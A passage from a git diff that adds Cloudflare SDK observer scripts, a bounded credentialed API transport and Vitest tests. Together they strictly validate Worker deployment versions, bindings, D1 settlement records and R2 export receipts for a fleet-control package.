bootstrap.pending !== null || + snapshot.lastInvocation?.state !== 'settled' + ) + refuse(); + integer(snapshot.invocationCount, 1); + if ( + snapshot.invocationCount > config.referenceWorker.maxInvocations || + snapshot.lastInvocation.ordinal !== snapshot.invocationCount + ) + refuse(); + hash(snapshot.lastInvocation.requestSha256); + integer(bootstrap.controlReadOrdinal, 1); + if (bootstrap.controlReadOrdinal > snapshot.invocationCount) refuse(); + equal(bootstrap.context.names, names); + id(bootstrap.context.zoneId); + if ( + typeof bootstrap.context.zoneName !== 'string' || + !( + config.ownedHostname === bootstrap.context.zoneName || + config.ownedHostname.endsWith(`.${bootstrap.context.zoneName}`) + ) + ) + refuse(); + if ( + !/^[a-z0-9](?:[a-z0-9-]{0,61}[a-z0-9])?$/u.test( + bootstrap.context.accountWorkersDevSubdomain, + ) + ) + refuse(); + for (const [field, name] of [ + ['fleet', names.fleetDatabase], + ['quota', names.quotaDatabase], + ]) { + id(bootstrap[field]?.uuid); + if (bootstrap[field].name !== name) refuse(); + } + if ( + bootstrap.fleet.uuid === bootstrap.quota.uuid || + bootstrap.exports?.name !== names.exportBucket || + bootstrap.exports.jurisdiction !== 'default' || + !Number.isFinite(Date.parse(bootstrap.exports.creationDate)) + ) + refuse(); + if ( + bootstrap.upload?.scriptName !== names.referenceWorker || + bootstrap.ingress?.enabled !== true || + bootstrap.ingress.previewsEnabled !== false + ) + refuse(); + id(bootstrap.active?.deploymentId); + id(bootstrap.active?.versionId); + return { + prepared, + config, + names, + snapshot, + bootstrap, + apiToken, + fetchRequest, + accountId: binding.accountId, + }; + } catch (error) { + if ( + error instanceof DirectObservationError && + error.code === 'outcome-unknown' + ) + throw error; + refuse('invalid-input'); + } +} + +function target(value, ctx) { + const selectedRole = role(value.role); + const release = value.applicationRelease; + if (release !== '1' && release !== '2') refuse(); + const versionId = id(value.versionId); + if (versionId === 'pending') refuse(); + return { + role: selectedRole, + ...ctx.names.roles[selectedRole], + environment: ctx.config.environment, + versionId, + databaseId: id(value.databaseId), + specDigest: hash(value.specDigest), + applicationRelease: release, + schemaVersion: Number(release), + }; +} + +async function session(ctx, observe) { + let provider; + try { + provider = await openDirectProviderSession({ + apiToken: ctx.apiToken, + fetchRequest: ctx.fetchRequest, + timeoutMs: ctx.config.referenceWorker.requestTimeoutMs, + }); + return freeze(await observe(provider)); + } catch (error) { + const transportFailure = provider?.transport.failure(); + if (transportFailure) refuse(transportFailure); + if (error instanceof DirectObservationError) throw error; + if (error instanceof DirectProviderError) refuse(error.code); + refuse('provider-unavailable'); + } finally { + provider?.transport.close(); + } +} + +function traffic(value, bound) { + object(value); + id(value.id); + if ( + value.strategy !== 'percentage' || + !Array.isArray(value.versions) || + value.versions.length < 1 || + value.versions.length > bound + ) + refuse(); + const seen = new Set(); + let total = 0; + const versions = value.versions.map((entry) => { + const versionId = id(entry.version_id); + if ( + seen.has(versionId) || + typeof entry.percentage !== 'number' || + !Number.isFinite(entry.percentage) || + entry.percentage < 0 || + entry.percentage > 100 + ) + refuse(); + seen.add(versionId); + total += entry.percentage; + return { versionId, percentage: entry.percentage }; + }); + if (total !== 100) refuse(); + // Zero-weight entries do not participate in the active route. + const active = exactActiveVersionId( + { versions: value.versions.filter((entry) => entry.percentage > 0) }, + 'direct', + ); + return { deploymentId: value.id, activeVersionId: active, versions }; +} + +function bindings(value, expected, checkRelease) { + if (!Array.isArray(value)) refuse(); + const normalized = providerBindingsToPlainWorkerShape(value); + const indexed = new Map(); + for (const binding of normalized) { + if ( + binding.type === 'unsupported' || + typeof binding.name !== 'string' || + indexed.has(binding.name) + ) + refuse(); + indexed.set(binding.name, binding); + } + const expectedTypes = { + DB: 'd1', + MAINTENANCE: 'durable-object', + RUNNER: 'durable-object', + PROBE_BUCKET: 'r2-bucket', + DEPLOYMENT_IDENTITY_SECRET: 'secret-text', + MAINTENANCE_ADMIN_SECRET: 'secret-text', + APP_PROBE_TOKEN: 'secret-text', + DEPLOYMENT_TENANT: 'plain-text', + FLEET_ENVIRONMENT: 'plain-text', + FLEET_SCHEMA_VERSION: 'plain-text', + FLEET_SPEC_DIGEST: 'plain-text', + FLEET_INGRESS_CONTRACT: 'plain-text', + APPLICATION_RELEASE: 'plain-text', + }; + if ( + indexed.size !== Object.keys(expectedTypes).length || + Object.entries(expectedTypes).some( + ([name, type]) => indexed.get(name)?.type !== type, + ) + ) + refuse(); + if (indexed.get('DB').databaseId !== expected.databaseId) refuse(); + const namespaces = ['MAINTENANCE', 'RUNNER'].map((name) => { + const binding = indexed.get(name); + if ( + binding.className !== + (name === 'MAINTENANCE' ? 'Maintenance' : 'Runner') || + (binding.scriptName !== undefined && + binding.scriptName !== expected.scriptName) || + binding.dispatchNamespace !== undefined + ) + refuse(); + return { + binding: name, + className: binding.className, + namespaceId: id(binding.namespaceId), + }; + }); + if (namespaces[0].namespaceId === namespaces[1].namespaceId) refuse(); + const bucket = indexed.get('PROBE_BUCKET'); + if ( + bucket.jurisdiction !== undefined || + typeof bucket.bucketName !== 'string' || + !/^[a-z0-9][a-z0-9-]{1,61}[a-z0-9]$/u.test(bucket.bucketName) + ) + refuse(); + const vars = { + DEPLOYMENT_TENANT: expected.tenantTag, + FLEET_ENVIRONMENT: expected.environment, + FLEET_INGRESS_CONTRACT: 'guarded-object-v1', + ...(checkRelease + ? { + FLEET_SPEC_DIGEST: expected.specDigest, + FLEET_SCHEMA_VERSION: String(expected.schemaVersion), + APPLICATION_RELEASE: expected.applicationRelease, + } + : {}), + }; + for (const [name, value] of Object.entries(vars)) + if (indexed.get(name).value !== value) refuse(); + if ( + !['1', '2'].includes(indexed.get('APPLICATION_RELEASE').value) || + indexed.get('FLEET_SCHEMA_VERSION').value !== + indexed.get('APPLICATION_RELEASE').value || + typeof indexed.get('FLEET_SPEC_DIGEST').value !== 'string' || + !/^[a-f0-9]{64}$/u.test(indexed.get('FLEET_SPEC_DIGEST').value) + ) + refuse(); + return { + databaseId: expected.databaseId, + namespaces, + bucketName: bucket.bucketName, + }; +} + +export async function observeDirectWorkerVersion(input) { + const ctx = context(input); + let expected; + try { + expected = target(input, ctx); + } catch { + refuse('invalid-input'); + } + return session(ctx, async ({ sdk, bound }) => { + const selectors = { account_id: ctx.accountId }; + const list = await sdk.workers.scripts.deployments.list( + expected.scriptName, + selectors, + ); + if ( + !Array.isArray(list.deployments) || + list.deployments.length < 1 || + list.deployments.length > bound + ) + refuse(); + const current = traffic(list.deployments[0], bound); + const exact = await sdk.workers.scripts.deployments.get( + current.deploymentId, + { ...selectors, script_name: expected.scriptName }, + ); + equal(traffic(exact, bound), current); + const version = await sdk.workers.scripts.versions.get(expected.versionId, { + ...selectors, + script_name: expected.scriptName, + }); + if (version.id !== expected.versionId) refuse(); + const runtime = version.resources?.script_runtime; + const intent = ctx.config.deployment; + if ( + runtime?.limits?.cpu_ms !== intent.cpuLimitMs || + runtime.compatibility_date !== intent.compatibilityDate + ) + refuse(); + equal(runtime.compatibility_flags, intent.compatibilityFlags); + const resources = bindings(version.resources?.bindings, expected, true); + const settings = await sdk.workers.scripts.scriptAndVersionSettings.get( + expected.scriptName, + selectors, + ); + if (settings.limits?.subrequests !== intent.subrequestLimit) refuse(); + equal( + bindings( + settings.bindings, + expected, + current.activeVersionId === expected.versionId, + ), + resources, + ); + const bucket = await sdk.r2.buckets.get(resources.bucketName, { + ...selectors, + jurisdiction: 'default', + }); + if ( + bucket.name !== resources.bucketName || + (bucket.jurisdiction !== undefined && + bucket.jurisdiction !== 'default') || + typeof bucket.creation_date !== 'string' || + bucket.creation_date.length > 64 || + !Number.isFinite(Date.parse(bucket.creation_date)) + ) + refuse(); + return { + role: expected.role, + accountId: ctx.accountId, + tenantTag: expected.tenantTag, + environment: expected.environment, + scriptName: expected.scriptName, + versionId: expected.versionId, + currentDeployment: current, + trafficPercentage: + current.versions.find((entry) => entry.versionId === expected.versionId) + ?.percentage ?? 0, + cpuLimitMs: runtime.limits.cpu_ms, + subrequestLimit: settings.limits.subrequests, + specDigest: expected.specDigest, + schemaVersion: expected.schemaVersion, + applicationRelease: expected.applicationRelease, + databaseId: resources.databaseId, + namespaces: resources.namespaces, + bucket: { + name: bucket.name, + jurisdiction: 'default', + creationDate: new Date(bucket.creation_date).toISOString(), + }, + }; + }); +} + +async function queryRows(sdk, ctx, sql, params, limit) { + const page = await sdk.d1.database.query(ctx.bootstrap.fleet.uuid, { + account_id: ctx.accountId, + sql, + params, + }); + if (!Array.isArray(page.result) || page.result.length !== 1) refuse(); + const result = page.result[0]; + if ( + result.success !== true || + (result.errors !== undefined && + (!Array.isArray(result.errors) || result.errors.length !== 0)) || + (result.error !== undefined && result.error !== null) || + !Array.isArray(result.results) || + result.results.length > limit + ) + refuse(); + return result.results.map(object); +} + +function storedJson(row, field, prefix) { + const value = row[`${field}_json`]; + const digest = hash(row[`${field}_sha256`]); + if ( + typeof value !== 'string' || + Buffer.byteLength(value) > 256 * 1024 || + createHash('sha256') + .update( + JSON.stringify([ + 'observation', + prefix, + 'settlement', + row.observation_key, + field, + value, + ]), + ) + .digest('hex') !== digest + ) + refuse(); + return object(JSON.parse(value)); +} + +export async function readDirectSettlementEffects(input) { + const ctx = context(input); + let expected; + try { + if ( + !Array.isArray(input.expected) || + input.expected.length < 1 || + input.expected.length > 3 + ) + refuse(); + expected = input.expected.map((value) => target(value, ctx)); + if (new Set(expected.map((value) => value.role)).size !== expected.length) + refuse(); + } catch { + refuse('invalid-input'); + } + return session(ctx, async ({ single }) => { + const { fleetSettlementKey } = await import('@proofoftech/fleet-control'); + const rows = await queryRows( + single, + ctx, + SETTLEMENT_SQL, + [ctx.config.resourcePrefix], + expected.length, + ); + if (rows.length !== expected.length) refuse(); + const effects = []; + const seen = new Set(); + for (const row of rows) { + if ( + row.run_key !== ctx.config.resourcePrefix || + row.observation_kind !== 'settlement' + ) + refuse(); + const key = hash(row.observation_key); + if (seen.has(key)) refuse(); + seen.add(key); + const identity = storedJson(row, 'identity', ctx.config.resourcePrefix); + const provenance = storedJson( + row, + 'provenance', + ctx.config.resourcePrefix, + ); + const match = expected.find((value) => value.role === identity.role); + if (!match) refuse(); + equal(identity, { + version: 1, + role: match.role, + tenantTag: match.tenantTag, + environment: match.environment, + target: { + physicalScriptName: match.scriptName, + specDigest: match.specDigest, + artifactVersion: match.versionId, + }, + }); + if ( + key !== + fleetSettlementKey({ + tenantTag: match.tenantTag, + environment: match.environment, + specDigest: match.specDigest, + artifactVersion: match.versionId, + }) || + typeof provenance.alreadySettled !== 'boolean' || + typeof provenance.observedAt !== 'string' || + !Number.isFinite(Date.parse(provenance.observedAt)) + ) + refuse(); + const ready = await queryRows( + single, + ctx, + READY_SQL, + [match.tenantTag, match.environment], + 1, + ); + equal(ready, [ + { + tenant_tag: match.tenantTag, + environment: match.environment, + backend: 'plain-worker', + script_name: match.scriptName, + database_id: match.databaseId, + schema_version: match.schemaVersion, + artifact_version: match.versionId, + desired_spec_digest: match.specDigest, + phase: 'ready', + settled_settlement_key: key, + }, + ]); + effects.push({ + role: match.role, + tenantTag: match.tenantTag, + environment: match.environment, + scriptName: match.scriptName, + databaseId: match.databaseId, + versionId: match.versionId, + specDigest: match.specDigest, + schemaVersion: match.schemaVersion, + settlementKey: key, + identitySha256: row.identity_sha256, + provenanceSha256: row.provenance_sha256, + }); + } + return effects.sort((a, b) => a.role.localeCompare(b.role)); + }); +} + +export async function verifyDirectDecommissionExport(input) { + const ctx = context(input); + let metadata; + let sourceInvocationOrdinal; + let selectedRole; + let key; + try { + selectedRole = role(input.role); + sourceInvocationOrdinal = integer(input.sourceInvocationOrdinal, 1); + metadata = structuredClone(input.metadata); + const last = ctx.snapshot.lastInvocation; + if (last.ordinal !== sourceInvocationOrdinal || last.state !== 'settled') + refuse(); + equal(last.action, { kind: 'decommission-export', role: selectedRole }); + const receipt = object(metadata.receipt); + const authority = `r2://${ctx.bootstrap.exports.name}/${ctx.config.resourcePrefix}/receipts/v1`; + if ( + metadata.available !== true || + metadata.role !== selectedRole || + receipt.version !== 1 || + receipt.authority !== authority + ) + refuse(); + id(receipt.databaseId); + id(receipt.operationId); + equal(receipt, { + version: 1, + authority, + databaseId: receipt.databaseId, + operationId: receipt.operationId, + }); + if ( + metadata.location !== + `${authority}/${receipt.databaseId}/${receipt.operationId}.sql` || + !['database-exported', 'database-deleting', 'decommissioned'].includes( + metadata.lifecyclePhase, + ) || + !['transitioning', 'discover', 'verify', 'blocked', 'complete'].includes( + metadata.intentState, + ) + ) + refuse(); + integer(metadata.revision); + integer(metadata.generation); + integer(metadata.size, 1); + hash(metadata.sha256); + key = `${ctx.config.resourcePrefix}/receipts/v1/${receipt.databaseId}/${receipt.operationId}.sql`; + } catch { + refuse('invalid-input'); + } + return session(ctx, async ({ exportReader }) => { + const response = await exportReader(metadata.size).r2.buckets.objects.get( + key, + { + account_id: ctx.accountId, + bucket_name: ctx.bootstrap.exports.name, + jurisdiction: 'default', + }, + ); + if ( + response.status !== 200 || + response.redirected || + response.headers.has('content-range') || + (response.headers.has('content-encoding') && + response.headers.get('content-encoding') !== 'identity') + ) + refuse(); + const length = response.headers.get('content-length'); + if ( + length !== null && + (!/^[1-9][0-9]*$/u.test(length) || Number(length) !== metadata.size) + ) + refuse(); + if (!response.body) refuse(); + const reader = response.body.getReader(); + const digest = createHash('sha256'); + let size = 0; + try { + while (true) { + const chunk = await reader.read(); + if (chunk.done) break; + size += chunk.value.byteLength; + if (size > metadata.size) refuse(); + digest.update(chunk.value); + } + } finally { + void reader.cancel().catch(() => {}); + } + const sha256 = digest.digest('hex'); + if (size !== metadata.size || sha256 !== metadata.sha256) refuse(); + return { + verified: true, + role: selectedRole, + receipt: metadata.receipt, + location: metadata.location, + size, + sha256, + sourceInvocationOrdinal, + }; + }); +} diff --git a/packages/fleet-control/scripts/direct-credentialed-provider.mjs b/packages/fleet-control/scripts/direct-credentialed-provider.mjs new file mode 100644 index 00000000..127a9f76 --- /dev/null +++ b/packages/fleet-control/scripts/direct-credentialed-provider.mjs @@ -0,0 +1,355 @@ +// SPDX-License-Identifier: Apache-2.0 + +import { validateHeaderValue } from 'node:http'; + +const API_BASE = 'https://api.cloudflare.com/client/v4'; +const MAX_ATTEMPTS = 512; +const MAX_DURATION_MS = 300_000; +const MAX_JSON_BYTES = 8 * 1024 * 1024; +const ERROR_CODES = new Set([ + 'invalid-input', + 'provider-unavailable', + 'observation-mismatch', + 'budget-exhausted', +]); + +export class DirectProviderError extends Error { + constructor(code = 'invalid-input') { + const accepted = ERROR_CODES.has(code) ? code : 'invalid-input'; + super(accepted); + this.name = 'DirectProviderError'; + this.code = accepted; + } +} + +function refuse(code = 'observation-mismatch') { + throw new DirectProviderError(code); +} +function object(value) { + if (!value || typeof value !== 'object' || Array.isArray(value)) refuse(); + return value; +} + +export function validateProviderAuth(value) { + if (typeof value !== 'string' || !value || value !== value.trim()) + refuse('invalid-input'); + const header = `Bearer ${value}`; + validateHeaderValue('Authorization', header); + if (new Headers({ Authorization: header }).get('authorization') !== header) + refuse('invalid-input'); +} + +function cancel(response) { + try { + void response?.body?.cancel().catch(() => {}); + } catch { + /* The abortable pipe owns a locked source. */ + } +} + +function providerTransport(fetchRequest, timeoutMs) { + const expiresAt = performance.now() + MAX_DURATION_MS; + const active = new Set(); + let attempts = 0; + let failure; + const assertBudget = () => { + if (performance.now() >= expiresAt || attempts >= MAX_ATTEMPTS) { + failure = 'budget-exhausted'; + refuse(failure); + } + }; + return { + assertBudget, + failure: () => failure, + close() { + for (const finish of active) finish(); + }, + async fetch(input, init, rawByteLimit) { + assertBudget(); + const url = new URL( + typeof input === 'string' || input instanceof URL ? input : input.url, + ); + if ( + url.origin !== 'https://api.cloudflare.com' || + !url.pathname.startsWith('/client/v4/') || + url.username || + url.password || + url.hash + ) + refuse('provider-unavailable'); + attempts += 1; + const controller = new AbortController(); + const signal = AbortSignal.any([ + controller.signal, + ...(init?.signal ? [init.signal] : []), + ]); + const deadline = Math.min(timeoutMs, expiresAt - performance.now()); + let response; + let bounded; + let abort; + let timer; + let rawReader; + const finish = () => { + clearTimeout(timer); + signal.removeEventListener('abort', abort); + controller.abort(); + cancel(bounded ?? response); + if (rawReader) { + void rawReader.cancel().catch(() => {}); + rawReader = undefined; + } + active.delete(finish); + }; + active.add(finish); + const aborted = new Promise((_, reject) => { + abort = () => reject(new DirectProviderError('provider-unavailable')); + signal.addEventListener('abort', abort, { once: true }); + }); + timer = setTimeout(() => controller.abort(), Math.max(1, deadline)); + try { + signal.throwIfAborted(); + const exchange = Promise.resolve( + fetchRequest(input, { ...init, signal, redirect: 'manual' }), + ).then((value) => { + if (signal.aborted) { + cancel(value); + signal.throwIfAborted(); + } + return value; + }); + response = await Promise.race([exchange, aborted]); + if ( + response.redirected || + (response.status >= 300 && response.status < 400) + ) + refuse('provider-unavailable'); + let bytes = 0; + if (rawByteLimit !== undefined && response.status === 200) { + rawReader = response.body?.getReader(); + if (!rawReader) refuse('provider-unavailable'); + const reader = rawReader; + bounded = new Response( + new ReadableStream({ + async pull(output) { + try { + const chunk = await Promise.race([reader.read(), aborted]); + if (chunk.done) { + output.close(); + finish(); + return; + } + if (!(chunk.value instanceof Uint8Array)) + refuse('provider-unavailable'); + bytes += chunk.value.byteLength; + if (bytes > rawByteLimit) refuse('observation-mismatch'); + output.enqueue(chunk.value); + } catch (error) { + output.error(error); + finish(); + } + }, + cancel() { + finish(); + }, + }), + { + status: response.status, + headers: response.headers, + }, + ); + return bounded; + } + const body = response.body?.pipeThrough( + new TransformStream({ + transform(chunk, output) { + bytes += chunk.byteLength; + if (bytes > MAX_JSON_BYTES) refuse('provider-unavailable'); + output.enqueue(chunk); + }, + }), + { signal }, + ); + bounded = new Response(body, { + status: response.status, + statusText: response.statusText, + headers: response.headers, + }); + return new Proxy(bounded, { + get(target, property) { + const value = Reflect.get(target, property, target); + if ( + ['json', 'text', 'arrayBuffer', 'blob', 'formData'].includes( + property, + ) + ) + return async (...args) => { + try { + return await Promise.race([ + value.apply(target, args), + aborted, + ]); + } finally { + finish(); + } + }; + return typeof value === 'function' ? value.bind(target) : value; + }, + }); + } catch (error) { + finish(); + throw error; + } + }, + }; +} + +function validateEnvelope(value) { + object(value); + if ( + value.success !== true || + (value.errors !== undefined && + (!Array.isArray(value.errors) || value.errors.length !== 0)) + ) + refuse('provider-unavailable'); +} + +function proofFetch(transport, shape, bound) { + return async (input, init) => { + const response = await transport.fetch(input, init); + if (!response.ok || shape === 'status') return response; + const contentType = response.headers.get('content-type') ?? ''; + if ( + !/^application\/(?:json|[a-z0-9.+-]+\+json)(?:\s*;.*)?$/iu.test( + contentType, + ) || + (shape !== 'object' && response.status !== 200) + ) { + cancel(response); + refuse('provider-unavailable'); + } + // SDK parser selection must reach the validated JSON method. + response.headers.set( + 'content-type', + contentType.replace(/^[^;]+/u, (mediaType) => mediaType.toLowerCase()), + ); + const parse = response.json.bind(response); + const json = async () => { + const value = await parse(); + validateEnvelope(value); + if (shape === 'object') object(value.result); + else { + const rows = value.result; + if (!Array.isArray(rows) || rows.length > bound) + refuse('provider-unavailable'); + rows.forEach(object); + const info = value.result_info; + if (info !== undefined) object(info); + const { + cursor, + total_pages: totalPages, + total_count: totalCount, + per_page: perPage, + page, + count, + } = info ?? {}; + const url = new URL( + typeof input === 'string' || input instanceof URL ? input : input.url, + ); + const requestedPage = Number(url.searchParams.get('page') ?? '1'); + if ( + (cursor !== undefined && + cursor !== null && + typeof cursor !== 'string') || + [totalPages, totalCount, perPage, page, count].some( + (number) => + number !== undefined && + (!Number.isSafeInteger(number) || number < 0), + ) || + (page !== undefined && page !== requestedPage) || + (count !== undefined && count !== rows.length) || + (perPage !== undefined && rows.length > perPage) || + (totalCount !== undefined && rows.length > totalCount) || + (totalPages === 0 && rows.length > 0) || + (typeof cursor === 'string' && cursor.length > 0) + ) + refuse('provider-unavailable'); + if (shape === 'single') { + if ( + (totalPages !== undefined && totalPages > 1) || + (totalCount !== undefined && totalCount !== rows.length) + ) + refuse('provider-unavailable'); + } else if ( + rows.length === 0 && + ((totalPages !== undefined && totalPages > requestedPage) || + (totalCount > 0 && + (requestedPage === 1 || + (perPage > 0 && totalCount / perPage > requestedPage - 1)))) + ) + refuse('provider-unavailable'); + } + return value; + }; + return new Proxy(response, { + get(target, property) { + if (property === 'json') return json; + const value = Reflect.get(target, property, target); + return typeof value === 'function' ? value.bind(target) : value; + }, + }); + }; +} + +export async function openDirectProviderSession({ + apiToken, + fetchRequest, + timeoutMs, +}) { + delete process.env.CLOUDFLARE_CUSTOM_HEADERS; + delete process.env.CLOUDFLARE_LOG; + delete process.env.CLOUDFLARE_BASE_URL; + const transport = providerTransport(fetchRequest, timeoutMs); + try { + const { default: Cloudflare, APIError } = await import('cloudflare'); + const { CLOUDFLARE_INVENTORY_BOUND: bound } = await import( + '../src/cloudflare-client-config.ts' + ); + const sdk = new Cloudflare({ + baseURL: API_BASE, + apiToken, + apiKey: null, + apiEmail: null, + userServiceKey: null, + logLevel: 'off', + timeout: timeoutMs, + maxRetries: 0, + fetch: proofFetch(transport, 'object', bound), + }); + const numbered = sdk.withOptions({ + fetch: proofFetch(transport, 'numbered', bound), + }); + const single = sdk.withOptions({ + fetch: proofFetch(transport, 'single', bound), + }); + const status = sdk.withOptions({ + fetch: proofFetch(transport, 'status', bound), + }); + return { + sdk, + numbered, + single, + status, + APIError, + bound, + transport, + exportReader(expectedSize) { + return sdk.withOptions({ + fetch: (input, init) => transport.fetch(input, init, expectedSize), + }); + }, + }; + } catch (error) { + transport.close(); + throw error; + } +} diff --git a/packages/fleet-control/test/direct-credentialed-observations.test.ts b/packages/fleet-control/test/direct-credentialed-observations.test.ts new file mode 100644 index 00000000..94845c61 --- /dev/null +++ b/packages/fleet-control/test/direct-credentialed-observations.test.ts @@ -0,0 +1,1040 @@ +// SPDX-License-Identifier: Apache-2.0 + +import { execFile } from 'node:child_process'; +import { promisify } from 'node:util'; +import { afterEach, beforeEach, describe, expect, it, vi } from 'vitest'; +import { + observeDirectWorkerVersion, + readDirectSettlementEffects, + verifyDirectDecommissionExport, +} from '../scripts/direct-credentialed-observations.mjs'; +import { + directObservationFixture, + OBSERVATION_TOKEN, + observationHash, + SQL_SENTINEL, +} from './fixtures/direct-observations.js'; + +const fixtures: Awaited>[] = []; +async function fixture( + timeout?: number, + stage?: Parameters[1], +) { + const value = await directObservationFixture(timeout, stage); + fixtures.push(value); + return value; +} +const errorShape = { + name: 'DirectObservationError', + message: expect.stringMatching( + /^(invalid-input|outcome-unknown|observation-mismatch|provider-unavailable|budget-exhausted)$/u, + ), +}; +function required(value: T | undefined): T { + if (value === undefined) throw new Error('fixture value absent'); + return value; +} +function recordAt(value: unknown, path: string): Record { + return path + .split('.') + .reduce( + (current, key) => (current as Record)[key], + value, + ) as Record; +} +const selected = (f: Awaited>) => ({ + ...f.input, + ...required(f.expected[0]), +}); +async function mutateResponse( + f: Awaited>, + suffix: string, + mutate: (value: Record) => void, +) { + f.hook(async (request, fallback) => { + const response = fallback(); + if (!new URL(request.url).pathname.endsWith(suffix)) return response; + const value = (await response.json()) as Record; + mutate(value); + return Response.json(value); + }); +} + +beforeEach(() => { + vi.stubGlobal( + 'fetch', + vi.fn(() => { + throw new Error('unexpected network'); + }), + ); +}); +afterEach(async () => { + vi.restoreAllMocks(); + vi.unstubAllGlobals(); + for (const f of fixtures.splice(0)) { + await f.close(); + expect(f.unexpected).toEqual([]); + } +}); + +describe('fixed Worker observations through the native SDK', () => { + it('preserves budget exhaustion after SDK error wrapping for each observer', async () => { + for (const kind of ['version', 'settlement', 'export'] as const) { + const f = await fixture(); + const exportInput = await f.exportInput(); + const now = vi + .spyOn(performance, 'now') + .mockReturnValueOnce(0) + .mockReturnValue(300_001); + const before = f.requests.length; + try { + const operation = + kind === 'version' + ? observeDirectWorkerVersion(selected(f)) + : kind === 'settlement' + ? readDirectSettlementEffects({ + ...f.input, + expected: f.expected, + }) + : verifyDirectDecommissionExport(exportInput); + await expect(operation).rejects.toMatchObject({ + code: 'budget-exhausted', + }); + expect(f.requests.length).toBe(before); + } finally { + now.mockRestore(); + } + } + }); + + it('preserves budget exhaustion between metadata requests', async () => { + const f = await fixture(); + let clock = 0; + const now = vi.spyOn(performance, 'now').mockImplementation(() => clock); + const before = f.requests.length; + f.hook((_request, fallback) => { + clock = 300_001; + return fallback(); + }); + try { + await expect( + observeDirectWorkerVersion(selected(f)), + ).rejects.toMatchObject({ code: 'budget-exhausted' }); + expect(f.requests.length - before).toBe(1); + } finally { + now.mockRestore(); + } + }); + + it.each([ + '/versions/version-a', + '/settings', + ])('attests the complete fixed binding inventory at %s', async (suffix) => { + const corruptions: ((list: Record[]) => void)[] = []; + for (const name of [ + 'DEPLOYMENT_IDENTITY_SECRET', + 'MAINTENANCE_ADMIN_SECRET', + 'APP_PROBE_TOKEN', + ]) { + corruptions.push((list) => { + const i = list.findIndex((b) => b.name === name); + list.splice(i, 1); + }); + corruptions.push((list) => { + const b = required(list.find((b) => b.name === name)); + b.type = 'plain_text'; + b.text = 'not-a-secret-binding'; + }); + } + for (const binding of [ + { type: 'd1', name: 'EXTRA_DB', database_id: 'foreign' }, + { type: 'service', name: 'EXTRA_SERVICE', service: 'foreign' }, + { + type: 'r2_bucket', + name: 'EXTRA_BUCKET', + bucket_name: 'foreign-bucket', + }, + { type: 'plain_text', name: 'EXTRA_VAR', text: 'foreign' }, + { type: 'secret_text', name: 'EXTRA_SECRET' }, + ]) + corruptions.push((list) => { + list.push(binding); + }); + corruptions.push((list) => { + required(list.find((b) => b.name === 'FLEET_INGRESS_CONTRACT')).text = + 'foreign'; + }); + corruptions.push((list) => { + list.splice( + list.findIndex((b) => b.name === 'FLEET_SPEC_DIGEST'), + 1, + ); + }); + for (const corrupt of corruptions) { + const f = await fixture(); + required(f.deployment.versions[0]).version_id = 'old-version'; + await mutateResponse(f, suffix, (v) => + corrupt( + recordAt(v, suffix === '/settings' ? 'result' : 'result.resources') + .bindings as Record[], + ), + ); + await expect( + observeDirectWorkerVersion(selected(f)), + ).rejects.toMatchObject({ code: 'observation-mismatch' }); + } + }); + + it.each([ + 0, 100, + ])('attests %i%% traffic, version CPU, current subrequests and allocated identities', async (percentage) => { + const f = await fixture(); + if (!percentage) + required(f.deployment.versions[0]).version_id = 'old-version'; + const before = f.journal.snapshot(); + const output = await observeDirectWorkerVersion(selected(f)); + expect(output).toMatchObject({ + role: 'a', + versionId: 'version-a', + trafficPercentage: percentage, + cpuLimitMs: 50, + subrequestLimit: 50, + schemaVersion: 2, + applicationRelease: '2', + databaseId: 'database-a', + namespaces: [ + { binding: 'MAINTENANCE', namespaceId: 'maintenance-id' }, + { binding: 'RUNNER', namespaceId: 'runner-id' }, + ], + bucket: { + name: 'allocated-probe-bucket', + creationDate: '2026-09-09T13:00:00.000Z', + jurisdiction: 'default', + }, + }); + expect(Object.isFrozen(output)).toBe(true); + expect(Object.isFrozen(output.currentDeployment.versions[0])).toBe(true); + expect(f.requests).toHaveLength(5); + expect(f.requests.every((request) => request.method === 'GET')).toBe(true); + expect(f.requests.at(-1)?.headers.get('cf-r2-jurisdiction')).toBe( + 'default', + ); + expect(f.journal.snapshot()).toEqual(before); + expect(JSON.stringify(output)).not.toContain(OBSERVATION_TOKEN); + }); + + it('accepts explicit zero-weight candidate entries and captures inputs before awaits', async () => { + const f = await fixture(); + f.deployment.versions.splice( + 0, + 1, + { version_id: 'old-version', percentage: 100 }, + { version_id: 'version-a', percentage: 0 }, + ); + const input = selected(f); + const operation = observeDirectWorkerVersion(input); + input.role = 'b'; + input.versionId = 'foreign-version'; + input.databaseId = 'foreign-db'; + input.specDigest = 'f'.repeat(64); + const result = await operation; + expect(result.role).toBe('a'); + expect(result.trafficPercentage).toBe(0); + expect(result.currentDeployment.versions).toHaveLength(2); + }); + + it('keeps version subrequests distinct from current settings and accepts optional metadata', async () => { + const f = await fixture(); + await mutateResponse(f, '/versions/version-a', (value) => { + recordAt(value, 'result.resources.script_runtime.limits').subrequests = + 999; + recordAt(value, 'result.resources').script = { etag: 'provider-etag' }; + recordAt(value, 'result').number = 3; + }); + expect( + (await observeDirectWorkerVersion(selected(f))).subrequestLimit, + ).toBe(50); + }); + + it('starts a fresh bounded SDK session for each observation', async () => { + const f = await fixture(); + const now = vi.spyOn(performance, 'now').mockReturnValue(0); + expect((await observeDirectWorkerVersion(selected(f))).versionId).toBe( + 'version-a', + ); + now.mockReturnValue(600_000); + expect((await observeDirectWorkerVersion(selected(f))).versionId).toBe( + 'version-a', + ); + expect(f.requests).toHaveLength(10); + }); + + it.each([ + [ + 'missing version id', + '/versions/version-a', + (v: Record) => { + delete recordAt(v, 'result').id; + }, + ], + [ + 'wrong version id', + '/versions/version-a', + (v: Record) => { + recordAt(v, 'result').id = 'wrong'; + }, + ], + [ + 'missing CPU', + '/versions/version-a', + (v: Record) => { + delete recordAt(v, 'result.resources.script_runtime.limits').cpu_ms; + }, + ], + [ + 'wrong CPU', + '/versions/version-a', + (v: Record) => { + recordAt(v, 'result.resources.script_runtime.limits').cpu_ms = 999; + }, + ], + [ + 'wrong runtime date', + '/versions/version-a', + (v: Record) => { + recordAt(v, 'result.resources.script_runtime').compatibility_date = + '2020-01-01'; + }, + ], + [ + 'wrong runtime flags', + '/versions/version-a', + (v: Record) => { + recordAt(v, 'result.resources.script_runtime').compatibility_flags = [ + 'wrong', + ]; + }, + ], + [ + 'missing subrequests', + '/settings', + (v: Record) => { + delete recordAt(v, 'result.limits').subrequests; + }, + ], + [ + 'wrong subrequests', + '/settings', + (v: Record) => { + recordAt(v, 'result.limits').subrequests = 3; + }, + ], + [ + 'different exact deployment', + 